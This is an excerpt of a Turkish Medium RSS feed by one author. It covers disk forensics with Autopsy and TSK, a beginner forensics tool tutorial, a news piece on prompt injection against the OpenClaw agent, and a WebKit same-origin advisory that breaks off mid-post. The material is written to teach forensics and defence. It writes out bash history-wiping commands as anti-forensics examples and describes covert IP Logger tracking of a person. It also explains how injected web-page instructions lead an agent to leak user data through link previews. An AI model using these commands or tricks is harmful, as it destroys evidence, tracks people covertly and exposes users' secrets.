burada bir iz bırakmış olabilir. Bu da “bu dosya bu sistemde hiç bulunmadı” iddiasını çürütmek için elverişli bir kaynak demek. TSK ile journal analizi şöyle yapılır:</p><pre># Journal içeriğini çıkar<br>fls-o 2048 image.dd | grep &quot;\$UsnJrnl&quot;<br># ya da doğrudan icat ile<br>icat-o 2048 image.dd &lt;inode_no&gt; &gt; usnjrnl.bin</pre><p>Autopsy bu veriyi otomatik işler ve File System Journal alanında sunar. Belirli bir dosyanın geçmişini (oluşturuldu mu, yeniden adlandırıldı mı, ne zaman silindi) takip etmek istediğinizde bu alan doğrudan yanıt verir.</p><h4>Anti-Forensics: İzleri Kapatma Girişimleri</h4><p>Bazı durumlarda karşınızdaki kişi adli bilişimin nasıl çalıştığını biliyordur ve izlerini kapatmaya çalışır. Bu yaklaşıma anti-forensics deniyor, ve gerçek soruşturmalarda sanılandan daha sık karşılaşılır. Yaygın yöntemlerden biri zaman damgası manipülasyonu, yani timestomping. Bir araçla dosyanın oluşturulma, değiştirme ve erişim zamanları geriye götürülür; amaç dosyayı zaman çizelgesinde görünmez kılmaktır. Bunun tespiti NTFS’in iki ayrı zaman damgası seti üzerinden yapılır. seti kullanıcı düzeyinde değiştirilebilir, ama $STANDARD_INFORMATION $FILE_NAME seti yalnızca dosya sistemi işlemleri sırasında güncellenir. İki set arasında tutarsızlık varsa, mesela $STANDARD_INFORMATION 2010 tarihini gösterirken gösteriyorsa, bu manipülasyona işaret eder. $FILE_NAME 2024&#39;ü Komut geçmişi temizleme de sık görülür. Linux’ta saldırgan kullandığı kabuğun geçmiş dosyasını silebilir; bash için kullanılan komutlar şöyle:</p><pre>history-c                         # Bellekteki geçmişi temizle<br>cat /dev/null &gt; ~/.bash_history   # Geçmiş dosyasını boşalt<br>unset HISTFILE                    # Geçmişin hiç yazılmamasını sağla</pre><p>zsh kullanan bir sistemde hedef dosya ~/.zsh_history olur; mantık aynı, sadece dosya adı değişiyor. Yine de bu yöntemin sınırları var. Log dosyaları, auth.log kayıtları ve USN Journal, komut geçmişi temizlenmiş olsa bile o hesabın aktif olduğunu gösterebilir. Üstelik boş ya da beklenenden kısa bir geçmiş dosyası başlı başına şüpheli bir bulgudur. Disk silme araçları farklı bir yöntem. shred, wipe ve benzeri araçlar belirli dosyaların ya da boş alanların üzerine rastgele veri yazarak veriyi geri dönüşümsüz hale getirmeye çalışır. Ama bu araçların kendisi de iz bırakır; yüklü ve çalıştırılmış olmaları Prefetch ve Amcache kayıtlarına yansır. Şifreli konteynerlar ise bambaşka bir engel. VeraCrypt ya da BitLocker ile korunan bölümler şifre olmadan okunamaz, ama varlıkları gizlenemez; disk üzerindeki yüksek entropili, rastgele görünen bölgeler şifrelenmiş veriye işaret eder. Şifrenin kendisi genellikle RAM dökümünde, hibernation dosyasında ya da kullanıcının bir yere not ettiği biçimde aranır. Anti-forensics’in dikkat çekici tarafı şu: iz kapatma girişimleri çoğu zaman kendileri birer iz bırakır. Kimse boş bir disk üzerinde silme aracı çalıştırmaz; dolayısıyla silme aracının orada bulunması, silinecek bir şeyin var olduğunu düşündürür.</p><h4>Gerçek Bir Vaka: Bulguların Bir Araya Gelmesi</h4><p>Anlatılan tekniklerin pratikte nasıl birleştiğini görmek için baştan beri ele alınan Karen senaryosuna bakmak yeterli. Disk imajı Autopsy’ye yüklendikten sonra ilk inceleme işletim sistemi bilgisinden başladı; sistem Kali Linux çalıştırıyordu. Kali kullanımı tek başına suç unsuru değildir, ama bir çalışanın iş makinesinde Kali bulunması açıklanması gereken bir durumdur. Downloads dizininde mimikatz_trunk.zip bulundu. Mimikatz, Windows sistemlerde bellekten kimlik bilgisi çalmak için kullanılan bilinen bir araçtır; varlığı yetkisiz erişim ya da kimlik bilgisi hırsızlığı niyetine işaret eder. .bash_history incelendiğinde super-secret adlı bir dosyanın oluşturulduğu ve dosyanın tam yolunun kayıtlarda bulunduğu görüldü. checklists adlı bir dosyanın içindeki maddeler ise saldırının motivasyonunu açıklıyordu: Bob’un güvenini kazanmak, hack öğrenmek, kâr etmek. Bu liste hem niyeti hem de planlamayı belgeliyor. auth.log dosyasında saat 11:26&#39;da komutu çalıştıran kullanıcının su komutunun defalarca çalıştırıldığı ve postgres olduğu görüldü; bir sistem hesabının kök yetkisi almaya çalışması beklenmedik bir davranıştır. Apache access.log dosyasının MD5 hash’i d41d8cd98f00b204e9800998ecf8427e çıktı; bu, boş bir dosyanın hash’idir. Yani log dosyası temizlenmişti, ve bu temizleme girişimi de kendi başına bir bulgu sayılır. Bu bulguların her biri tek başına bir anlam taşıyor, ama bir araya geldiklerinde tutarlı bir hikâye çıkıyor ortaya: bir çalışan, şirket altyapısına yetkisiz erişim sağlamak amacıyla iş makinesini kullanmış, credential dumping araçları indirmiş, kök yetkisi almaya çalışmış ve izlerini kapatmak için log dosyasını temizlemiş. Eylemlerin her biri diskte bir iz bırakmış.</p><h4>Doğrulama ve Belgeleme</h4><p>Bulguları ortaya çıkarmak analizin yalnızca bir kısmı. Bir adli bilişim analistinin işi, bulguların başkaları tarafından doğrulanabilir ve anlaşılabilir biçimde aktarılmasıyla tamamlanır. Burada iki kavram öne çıkıyor: tekrar edilebilirlik ve belgeleme. Tekrar edilebilirlik, başka bir analistin aynı imaj üzerinde aynı araçlarla aynı adımları izlediğinde aynı sonuçlara ulaşabilmesi demek. Bunu sağlamak için her komut kaydedilmeli, her ekran görüntüsü tarih ve saatle işaretlenmeli, kullanılan araçların sürümleri not edilmelidir. Belgeleme sürecinde şunlar açıkça yazılmalı: imaj kim tarafından, ne zaman, hangi araçla alındı; hash değerleri neler ve nasıl doğrulandı; hangi analiz adımları hangi sırayla uygulandı; her bulgu diskin hangi konumundan geldi; ve bu bulgular hangi sonuca işaret ediyor. Autopsy bu aşamada Generate Report seçeneğiyle HTML, Excel ya da PDF formatında kapsamlı bir rapor üretir; rapor vaka detaylarını, bulunan dosyaları ve meta veri bilgilerini düzenli biçimde sunar. Şunu unutmamak gerekir: belgelenmemiş bir bulgu hukuki anlamda var sayılmaz. Teknik olarak ne kadar haklı olursanız olun, yazıya dökmediğiniz bir bulgunun mahkemede karşılığı yoktur.</p><h4>Araç Karşılaştırması</h4><p>Makalede geçen araçların kısa bir karşılaştırması aşağıda:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*aWrSn3nvS_BAxTqxZ2CrSQ.png" /></figure><p>Bu araçlar birbirinin yerine değil, birbirini tamamlayacak şekilde kullanılır. Autopsy kapsamlıdır ama bazı ayrıntıları gözden kaçırabilir; TSK komut satırı araçları hızlıdır ama ham çıktı verir; Scalpel ise MFT’nin göremediği dosyaları çıkarabilir. Pratikte bir incelemede çoğu zaman bunların birkaçı bir arada kullanılır.</p><h4>Sonuç</h4><p>Bir disk imajı, üzerinde gerçekleşmiş işlemlerin epey geniş bir kaydını barındırır. Konfigürasyon dosyaları ağ bilgilerini, tarayıcı geçmişi konum verilerini, PowerShell kayıtları kullanıcı hareketlerini, antivirüs logları zararlı araçları, USN Journal dosya değişikliklerini, Registry kalıcılık mekanizmalarını taşır; meta veri ise sahiplik bilgisini verir. Bu katmanları doğru sırayla okumak, bir olayın kronolojisini ve içinde yer alan aktörleri ortaya çıkarır. dcfldd ile verinin belirli bir andaki halini sabitliyoruz; Autopsy ve TSK ile bu görüntünün içindeki ayrıntıları inceliyoruz. Bu araçların birlikte kullanımı, bir siber olay müdahale uzmanının en temel iş akışlarından birini oluşturur. Ama araçlar kadar süreç de belirleyici. Write blocker olmadan imaj almak, hash doğrulamasını atlamak ya da analizi orijinal disk üzerinde yapmak gibi hatalar, toplanmış tüm delili bir anda kullanılamaz hale getirebilir. Teknik beceri tek başına yetmiyor; o becerinin doğru prosedürel çerçevede uygulanması gerekiyor. Anti-forensics tarafına gelince, izleri kapatma çabası ne kadar gelişmiş olursa olsun, çoğu zaman girişimin kendisi geride bir iz bırakır.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=49e0015047b4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dijital Adli Bilişim’e Giriş: Temel Araçlar ve Teknikler Forensic 101 — Bölüm 1]]></title>
            <link>https://medium.com/@kurtkaan/dijital-adli-bili%C5%9Fime-giri%C5%9F-temel-ara%C3%A7lar-ve-teknikler-forensic-101-b%C3%B6l%C3%BCm-1-0a6d506f2160?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/0a6d506f2160</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security-analysts]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Sun, 19 Apr 2026 17:59:58 GMT</pubDate>
            <atom:updated>2026-04-19T17:59:58.202Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ftCLMuI3JhYJ1jprryhpzQ.png" /></figure><h3>Giriş</h3><p>Bir suç mahallinde bırakılan parmak izi nasıl ki bir dedektif için ipucu taşıyorsa, dijital ortamda gerçekleştirilen her eylem de izler bırakır. Silinen bir dosya, gönderilen bir mesaj, ziyaret edilen bir web sitesi — bunların tamamı doğru araçlar ve yöntemlerle gün yüzüne çıkarılabilir.</p><p><strong>Dijital adli bilişim (Digital Forensics)</strong>, bu dijital izleri bilimsel bir yöntemle toplayıp analiz etme ve mahkemede geçerli delil olarak sunma disiplinidir. Siber güvenlik, hukuk, kurumsal soruşturmalar ve olay müdahalesi gibi birbirinden farklı alanlarda kritik bir rol üstlenmektedir.</p><p>Bu seri boyunca, bir adli bilişim uzmanının günlük olarak kullandığı temel araçları ve teknikleri inceleyeceğiz. İlk bölümde şu konuları ele alacağız:</p><ul><li>Disk ve RAM imajı alma</li><li>Veri filtreleme ve hash doğrulaması</li><li>OSINT ile şahıs ve fotoğraf sorgulama</li><li>IP tespiti yöntemleri</li><li>Zararlı yazılım tespiti (Binwalk)</li><li>Disk kazıma ve veri kurtarma (Foremost)</li></ul><h3>1. Disk İmajı Alma</h3><h3>Neden İmaj Alırız?</h3><p>Adli bilişimin altın kuralı şudur: <strong>Orijinal delile asla doğrudan müdahale etme.</strong> Bir diskin içeriğini analiz etmeden önce birebir kopyasını, yani imajını almak gerekir. Bu sayede orijinal disk bozulmadan korunurken analiz kopya üzerinde gerçekleştirilir.</p><h3>Adım 1: Diskleri Listele</h3><pre>sudo fdisk -l</pre><p>Bu komut, sistemde tanımlı tüm diskleri ve bölümlerini (partition) listeler. Hedef diskinizin yolunu buradan öğrenebilirsiniz. Örneğin /dev/sdb.</p><h3>Adım 2: dd ile İmaj Al</h3><pre>dd if=/dev/sdb of=/home/kali/Desktop/disk1.img conv=noerror</pre><p>if=Kaynak disk (Input File)</p><p>of=Çıkış dosyası ve kaydedileceği konum</p><p>conv=noerrorHata oluşsa bile kopyalamaya devam et</p><p>conv=noerror özellikle fiziksel olarak hasarlı disklerde son derece önemlidir; aksi takdirde tek bir hata tüm süreci durdurabilir.</p><h3>2. RAM İmajı Alma</h3><p>Disk imajının aksine RAM, sistemi kapattığınız anda içeriğini yitiren <strong>uçucu (volatile) bir bellektir.</strong> Bu nedenle RAM imajı, aktif bir sistemde ve mümkün olan en kısa sürede alınmalıdır.</p><p>Windows tabanlı sistemlerde <strong>DumpIt</strong> aracı bu iş için yaygın olarak tercih edilmektedir. Çalıştırıldığında RAM içeriğini tek bir dosyaya döker ve analiz için hazır hale getirir.</p><p>RAM imajı; çalışan işlemler, bellekteki şifreler, ağ bağlantı bilgileri ve kötü amaçlı yazılım kalıntıları gibi kritik verileri barındırabilir.</p><h3>3. Disk Verilerini Filtreleme: Bulk Extractor</h3><p>Ham disk imajı içinde anlamlı veriye ulaşmak, samanlıkta iğne aramak gibidir. <strong>Bulk Extractor</strong>, bu imajı tarayarak içindeki yapılandırılmış veriyi otomatik olarak çıkaran güçlü bir araçtır.</p><pre>bulk_extractor /dev/sdb1 -o /home/kali/Desktop/cikti/</pre><p>/dev/sdb1Analiz edilecek disk veya imaj</p><p>-oÇıktıların kaydedileceği klasör</p><p>Bulk Extractor’ın çıktı klasöründe şu türde verilerle karşılaşabilirsiniz:</p><ul><li><strong>Telefon numaraları</strong></li><li><strong>E-posta adresleri</strong></li><li><strong>URL geçmişi</strong></li><li><strong>Kredi kartı numaraları</strong></li><li><strong>Sosyal medya içerikleri</strong></li></ul><p>Her kategori için ayrı bir .txt dosyası oluşturulur ve bu dosyalar daha ileri analiz için hazır hale gelir.</p><h3>4. Dosya Bütünlüğü Doğrulama: HashDeep</h3><h3>Hash Nedir?</h3><p>Hash, bir dosyanın içeriğinden türetilen sabit uzunluklu bir dijital parmak izidir. İçerik en küçük değişime uğrasa bile hash tamamen farklı bir değer üretir. Bu özellik, dijital delillerin mahkeme süreçlerinde <strong>değiştirilmediğini kanıtlamak</strong> için temel bir yöntem olarak kullanılır.</p><h3>HashDeep Kullanımı</h3><pre>hashdeep /home/kali/Desktop/dosya</pre><p>Bu komut, hedef dosyanın Size, MD5 ve SHA256 hash değerlerini hesaplayarak ekrana yazdırır. Aynı komutu iki farklı zaman aralığında çalıştırdığınızda hash değerleri aynıysa dosyanın bütünlüğü korunmuş demektir. Farklı bir değer alırsanız dosya üzerinde değişiklik yapılmış olduğu anlaşılır.</p><h3>5. Fotoğraf ve Şahıs Sorgulama: OSINT Framework</h3><p><strong>OSINT (Open Source Intelligence)</strong>, kamuya açık kaynaklardan bilgi toplama pratiğidir. Dijital adli bilişimde kimlik tespiti ve şahıs takibi süreçlerinde sıklıkla başvurulan bir yöntemdir.</p><p>Tarayıcınız üzerinden erişebileceğiniz <strong>OSINT Framework</strong> (osintframework.com), bu amaca yönelik araçları kategorilere ayırarak sunar. Bu platform aracılığıyla:</p><ul><li><strong>Fotoğraf üzerinden tersine görsel arama</strong> (TinEye, Google Lens)</li><li><strong>İsim ve e-posta adresi sorgulamaları</strong></li><li><strong>Sosyal medya profil araştırmaları</strong></li><li><strong>Kullanıcı adı takibi</strong></li></ul><p>gibi işlemler gerçekleştirilebilir. Bir kişiye ait tek bir dijital iz, farklı platformlardaki varlığını tespit etmek için yeterli bir başlangıç noktası olabilir.</p><h3>6. IP Tespiti: Traceroute</h3><p>traceroute komutu, bir hedefe gönderilen paketin izlediği rotayı adım adım gösterir. Her satır bir hop’a (atlama) karşılık gelir.</p><pre>traceroute hedef-alan-adi.com</pre><p>Bu komutun çıktısından şunları öğrenebilirsiniz:</p><ul><li>Hedefe ulaşmak için kaç router üzerinden geçildiği</li><li>Her aşamada hangi IP adreslerinin kullanıldığı</li><li>Kullanılan ISP’ler ve coğrafi rota</li></ul><p>Çıktıda * * * görünen satırlar, o router&#39;ın ICMP paketlerine yanıt vermediğini (timeout) gösterir. Eğer son satırlar da * ile doluysa paketin bir güvenlik duvarı veya filtre tarafından engellendiği anlamına gelir.</p><h3>7. CMD ile IP Tespiti: Resource Monitor</h3><p>Windows ortamında <strong>Resource Monitor (resmon.exe)</strong>, grafiksel bir arayüz üzerinden anlık ağ bağlantılarını izlemenizi sağlar.</p><pre>Çalıştır (Win + R) → resmon.exe</pre><p>Açılan pencerede <strong>Ağ (Network)</strong> sekmesine geçtiğinizde:</p><ul><li>Hangi uygulamanın hangi IP adresine bağlandığını</li><li>TCP bağlantılarında uzak (remote) adres ve port bilgilerini</li><li>Gelen ve giden paket miktarlarını</li></ul><p>gerçek zamanlı olarak görebilirsiniz. Örneğin web üzerinden açık bir WhatsApp oturumu, karşı tarafın Remote IP adresini bu ekranda görünür kılar.</p><h3>8. Link ile IP Öğrenme: IP Logger</h3><p>Hedef sistemin IP adresini doğrudan öğrenemediğiniz senaryolarda pasif bir yöntem devreye girer. <strong>IP Logger</strong> (iplogger.org) gibi servisler aracılığıyla kısa bir bağlantı (short link) oluşturabilirsiniz.</p><p>Hedef kişi bu bağlantıya tıkladığında, tarayıcısı arka planda IP Logger sunucusuna istek gönderir. Bu istek sonucunda; IP adresi, coğrafi konum, cihaz ve tarayıcı bilgisi otomatik olarak kaydedilir.</p><h3>9. Zararlı Yazılım Tespiti: Binwalk</h3><p><strong>Binwalk</strong>, firmware analizinde ve gömülü dosyaların tespitinde kullanılan özelleşmiş bir araçtır. Bir yazılımın veya cihazın içine yerleştirilmiş gizli dosyaları, sıkıştırılmış arşivleri ve kötü amaçlı kodları ortaya çıkarmak için kullanılır.</p><h3>Temel Kullanım</h3><pre>binwalk /dosya/yolu</pre><p>Çıktı; decimal ve hexadecimal adresler ile bulunan içeriğin açıklamasını (description) içerir.</p><h3>Sık Kullanılan Parametreler</h3><p>-e / --extractİçerikleri otomatik çıkar</p><p>-E / --entropyEntropi analizi yapar</p><p>-M / --matryoshkaÇıkarılan dosyaları da tekrar analiz eder</p><p>-A / --opcodesMimari opcode analizi (ARM, MIPS vb.)</p><p>-f &lt;dosya&gt;Çıktıyı dosyaya kaydeder</p><p>Entropi analizi özellikle dikkat çekicidir: yüksek entropi, verinin sıkıştırılmış veya şifrelenmiş olduğuna işaret eder ve bu bölgeler daha ayrıntılı incelemeyi hak eder.</p><h3>10. Disk Kazıma ve Veri Kurtarma: Foremost</h3><p>Silinen dosyalar çoğu zaman fiziksel olarak diskten kaldırılmaz; yalnızca o alanın “boş” olarak işaretlenmesi sağlanır. <strong>Foremost</strong>, bu alanları tarayarak belirli dosya türlerini başarıyla kurtarabilir. Üzerine veri yazılmış alanlarda dahi kısmi kurtarma mümkün olabilir.</p><h3>Kullanım</h3><pre>sudo fdisk -l   # Önce mevcut diskleri listele</pre><pre>sudo foremost -q -v -t png -i /dev/sda5 -o /home/kali/Desktop/cikti/</pre><h3>Parametreler</h3><p>-iKaynak disk veya imaj</p><p>-tKurtarılacak dosya türü (jpg, pdf, doc, png...)</p><p>-oÇıktı dizini</p><p>-vAyrıntılı (verbose) çıktı-qSessiz mod</p><p>Kurtarma işlemi tamamlandığında belirttiğiniz çıktı dizini altında dosya türüne göre klasörler oluşturulur. Her klasör, diskten kurtarılan ilgili dosyaları barındırır.</p><h3>Özet</h3><p>Bu bölümde dijital adli bilişimin temel araçlarını ele aldık. Aşağıdaki tablo, öğrendiklerimizi hızlıca özetlemektedir:</p><p>dd Disk imajı alma</p><p>DumpIt = RAM imajı alma (Windows)</p><p>Bulk Extractor = Disk verisini filtreleme ve sınıflandırma</p><p>HashDeep = Dosya bütünlüğü doğrulama</p><p>OSINT Framework = Şahıs ve fotoğraf sorgulama</p><p>traceroute = IP tespiti ve rota analizi</p><p>Resource Monitor =Anlık ağ bağlantısı izleme</p><p>IP Logger = Pasif IP tespiti</p><p>Binwalk = Zararlı yazılım ve gömülü dosya tespiti</p><p>Foremost = Silinen veri kurtarma</p><h3>Sıradaki Bölüm</h3><p><strong>Bölüm 2&#39;de</strong> daha ileri seviye disk analizi tekniklerini, Autopsy ve Volatility gibi kapsamlı adli bilişim platformlarını ve bellek analizinin inceliklerini ele alacağız.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0a6d506f2160" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OpenClaw ve Veri Sızıntısı Tehdidi]]></title>
            <link>https://medium.com/@kurtkaan/openclaw-ve-veri-s%C4%B1z%C4%B1nt%C4%B1s%C4%B1-tehdidi-5dc406939301?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/5dc406939301</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[openclaw]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Thu, 26 Mar 2026 21:49:30 GMT</pubDate>
            <atom:updated>2026-03-26T21:49:30.688Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*ao2IJ_6ncQYvHB1ebSM0iw.jpeg" /></figure><h3>AI Ajanlarında “Otonom” Güvenlik Krizi: OpenClaw ve Veri Sızıntısı Tehdidi</h3><p>Yapay zeka ajanlarının internette gezinme ve kullanıcı adına işlem yapma yetenekleri arttıkça, bu araçların sunduğu saldırı yüzeyi de dramatik bir şekilde genişliyor. Çin Ulusal Bilgisayar Ağı Acil Müdahale Teknik Ekibi (<strong>CNCERT</strong>), popüler açık kaynaklı AI ajanı <strong>OpenClaw</strong> (eski adıyla Clawdbot/Moltbot) hakkında kritik bir güvenlik uyarısı yayınladı. Uyarı, platformun zayıf varsayılan yapılandırmalarının ve sahip olduğu yüksek erişim yetkilerinin, uç noktaların (endpoint) tamamen ele geçirilmesine yol açabileceğini vurguluyor.</p><h3>Yeni Nesil Tehdit: Dolaylı Komut Enjeksiyonu (IDPI)</h3><p>OpenClaw ve benzeri otonom ajanlar için en büyük risk, <strong>Dolaylı Komut Enjeksiyonu (Indirect Prompt Injection — IDPI)</strong> veya <strong>Çapraz Etki Alanı Komut Enjeksiyonu (XPIA)</strong> olarak tanımlanıyor. Bu saldırı türünde saldırgan, yapay zeka modeliyle doğrudan etkileşime girmek yerine, ajanın analiz edeceği bir web sayfasına kötü niyetli talimatlar gizliyor.</p><p><strong>Saldırı Mekanizması:</strong> Ajan bir web sayfasını özetlerken veya içerik analizi yaparken, sayfaya gömülü manipüle edilmiş talimatları “kullanıcı emri” gibi algılıyor. Bu durum; AI tabanlı reklam inceleme sistemlerinin atlatılmasından, işe alım kararlarının etkilenmesine ve en kritik aşamada <strong>hassas veri sızıntılarına</strong> kadar uzanan bir dizi riski beraberinde getiriyor.</p><h3>Veri Sızıntısında “Link Önizleme” Tuzağı</h3><p>PromptArmor araştırmacıları, OpenClaw üzerindeki bu riskin sadece teorik olmadığını kanıtladı. Telegram veya Discord gibi platformlarda kullanılan “link önizleme” (link preview) özelliği, bir veri sızıntısı yoluna (data exfiltration pathway) dönüştürülebiliyor:</p><ol><li><strong>Manipülasyon:</strong> Saldırgan, ajanı kandırarak kullanıcının hassas verilerini (şifreler, özel bilgiler vb.) içeren dinamik bir URL üretmesini sağlıyor.</li><li><strong>Otomatik Sızıntı:</strong> Mesajlaşma uygulaması bu linki önizleme için render ettiğinde, kullanıcı <strong>linke tıklamasa bile</strong> veriler otomatik olarak saldırganın kontrolündeki domain’e iletiliyor.</li></ol><h3>OpenClaw Ekosistemindeki Diğer Kritik Riskler</h3><p>CNCERT, OpenClaw kullanımıyla ilgili üç temel endişeyi daha ön plana çıkarıyor:</p><ul><li><strong>Zararlı Yetenekler (Malicious Skills):</strong> ClawHub gibi depolara yüklenen sahte “skill” dosyaları aracılığıyla sisteme malware bulaştırılabiliyor veya rastgele komutlar çalıştırılabiliyor.</li><li><strong>Veri Kaybı:</strong> Ajanın kullanıcı talimatlarını yanlış yorumlayarak kritik bilgileri geri dönülemez şekilde silme riski.</li><li><strong>Sistem Felci:</strong> Finans ve enerji gibi stratejik sektörlerde bu açıkların sömürülmesi, ticari sırların ifşasına veya tüm iş sistemlerinin durmasına yol açabilir.</li></ul><h3>Yasaklar ve Sahte Yükleyici Kampanyaları</h3><p>OpenClaw’ın küresel popülaritesi, siber suçlular için yeni bir dağıtım kanalı oluşturdu. GitHub üzerinde “OpenClaw Installer” süsü verilmiş sahte depolar aracılığıyla <strong>Atomic</strong> ve <strong>Vidar Stealer</strong> gibi bilgi çalıcı yazılımların dağıtıldığı tespit edildi. Bu durumun ciddiyeti üzerine Çin makamları; devlet kurumlarında, kamu işletmelerinde ve askeri personel ailelerinde OpenClaw kullanımına kısıtlama getirdi.</p><h3>Korunma Stratejileri ve Güvenlik Önerileri</h3><p>Otonom AI ajanlarını güvenli bir şekilde operasyonlara dahil etmek isteyen organizasyonlar için şu adımlar kritik önem taşıyor:</p><ul><li><strong>Ağ Kontrolü:</strong> Varsayılan yönetim portları internet erişimine tamamen kapatılmalı.</li><li><strong>İzolasyon:</strong> OpenClaw servisi mutlaka izole edilmiş bir <strong>container</strong> (Docker vb.) içinde çalıştırılmalı.</li><li><strong>Skill Yönetimi:</strong> Eklentiler (skills) sadece doğrulanmış kanallardan indirilmeli ve otomatik güncellemeler devre dışı bırakılmalı.</li><li><strong>Hijyen:</strong> Kimlik bilgileri asla düz metin (plaintext) olarak saklanmamalı ve ajan her zaman en güncel sürümde tutulmalı.</li></ul><p>OpenClaw örneği, otonom yapay zeka ajanlarının güvenlik perspektifinden yeni bir risk alanı oluşturduğunu açıkça göstermektedir. Harici veri kaynaklarıyla etkileşim kurabilen ve sistem düzeyinde yetkilere sahip bu tür çözümler, yeterli güvenlik kontrolleri sağlanmadığında ciddi tehditlere dönüşebilmektedir.</p><p>Bu gelişmeler, yapay zeka tabanlı sistemlerin kullanımında yalnızca işlevselliğin değil, güvenliğin de öncelikli bir kriter haline gelmesi gerektiğini ortaya koymaktadır.</p><p><strong>MDR Analist Notu:</strong> Yapay zeka ajanlarının otonom yetenekleri, geleneksel siber savunma stratejilerimizi yeniden gözden geçirmemizi zorunlu kılıyor. <strong>OpenClaw</strong> vakası, güvenlik açıklarının artık sadece kod satırlarında değil, modelin “karar verme ve eyleme geçme” süreçlerindeki mantık hatalarında gizli olduğunu kanıtlıyor. Otonom sistemlerin sunduğu verimlilik, “görünmez” saldırı yüzeylerini de beraberinde getiriyor. AI güvenliği artık sadece model eğitimi değil, kritik bir uygulama katmanı güvenliği meselesidir.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5dc406939301" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Appel WebKit CVE-2026–20643]]></title>
            <link>https://medium.com/@kurtkaan/appel-webkit-cve-2026-20643-5196786c3d96?source=rss-38b56ee03f4e------2</link>
            <guid isPermaLink="false">https://medium.com/p/5196786c3d96</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[apple]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[Ömer Kaan Kurt]]></dc:creator>
            <pubDate>Thu, 26 Mar 2026 21:31:43 GMT</pubDate>
            <atom:updated>2026-03-26T21:31:43.712Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*9q_CLxnpRiCZLuv7-NszIQ.png" /></figure><h3>Apple’dan Kritik Güvenlik Hamlesi: WebKit Açığı ve “Sessiz” Güncelleme Dönemi</h3><p>Apple, iPhone, iPad ve Mac kullanıcılarını hedef alan karmaşık web tabanlı saldırılara karşı acil bir güvenlik güncellemesi yayınladı. 17 Mart 2026 tarihinde sunulan bu yamalar, tarayıcı güvenliğinin temelini sarsabilecek kritik bir WebKit zafiyetini gideriyor.</p><h3>Zafiyetin Analizi: CVE-2026–20643</h3><p><strong>CVE-2026–20643</strong> (WebKit Bugzilla ID: 306050) olarak takip edilen bu hata, Apple’ın Safari ve diğer pek çok uygulamasına güç veren WebKit motorunun <strong>Navigation API</strong> bileşeninde yer alıyor. Güvenlik araştırmacısı <strong>Thomas Espach</strong> tarafından keşfedilen bu zafiyet, kötü niyetli web içeriklerinin “Same-Origin Policy” (SOP) korumasını aşmasına neden olabiliyor.</p><p><strong>Same-Origin Policy (SOP) Neden Önemli?</strong> SOP, bir web sitesinin başka bir alan adına (domain) ait verilere erişmesini engelleyen kritik bir bariyerdir. Bu korumanın aşılması durumunda saldırganlar şunları yapabilir:</p><ul><li>Farklı sekmelerde açık olan sitelerdeki verilere erişim,</li><li>Oturum çerezlerini (cookies) ve kimlik doğrulama token’larını çalma,</li><li>Kullanıcı adına yetkisiz işlemler gerçekleştirme.</li></ul><p>Örneğin; kötü niyetli bir web sitesi, kullanıcının o sırada açık olan bankacılık veya e-posta oturumuyla gizlice etkileşime girerek hassas verileri sızdırabilir.</p><h3>Yeni Dağıtım Mekanizması: Background Security Improvements</h3><p>Bu güncellemeyi geleneksel yamalardan ayıran en büyük fark, Apple’ın ilk kez aktif olarak kullandığı <strong>“Background Security Improvements”</strong> (Arka Plan Güvenlik İyileştirmeleri) sistemiyle sunulmasıdır.</p><p>Bu yeni sistemin özellikleri şunlardır:</p><ul><li><strong>Sessiz Kurulum:</strong> Tam bir işletim sistemi güncellemesine gerek kalmadan arka planda yüklenir.</li><li><strong>Yeniden Başlatma Gerekmez:</strong> Cihazın kapatılıp açılmasına gerek kalmadan yama aktif olur.</li><li><strong>Hızlı Müdahale:</strong> Safari, WebKit ve sistem kütüphaneleri gibi kritik bileşenlerdeki risklere anında müdahale edilmesini sağlar.</li><li><strong>Geri Alma (Rollback) Yeteneği:</strong> Eğer bir yama uyumluluk sorunu çıkarırsa, Apple bu iyileştirmeyi otomatik olarak kaldırıp cihazı önceki kararlı haline döndürebilir.</li></ul><h3>Etkilenen Sürümler ve Kontrol</h3><p>Zafiyet şu sürümleri etkilemektedir: <strong>iOS 26.3.1, iPadOS 26.3.1, macOS 26.3.1 ve 26.3.2.</strong> Apple, sorunu iyileştirilmiş giriş doğrulama (input validation) kontrolleriyle şu sürümlerde çözmüştür:</p><ul><li><strong>iOS 26.3.1 (a)</strong></li><li><strong>iPadOS 26.3.1 (a)</strong></li><li><strong>macOS 26.3.1 (a)</strong> ve <strong>26.3.2 (a)</strong></li></ul><p>Kullanıcılar, bu korumanın devrede olduğunu doğrulamak için <strong>Ayarlar &gt; Gizlilik ve Güvenlik &gt; Background Security Improvements</strong> menüsünü kontrol edebilirler. “Otomatik Yükle” seçeneğinin açık tutulması, cihazın gelecekteki tehditlere karşı da korunmasını sağlar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*r6q4CU0DaQ8LKcGFVFsmzA.jpeg" 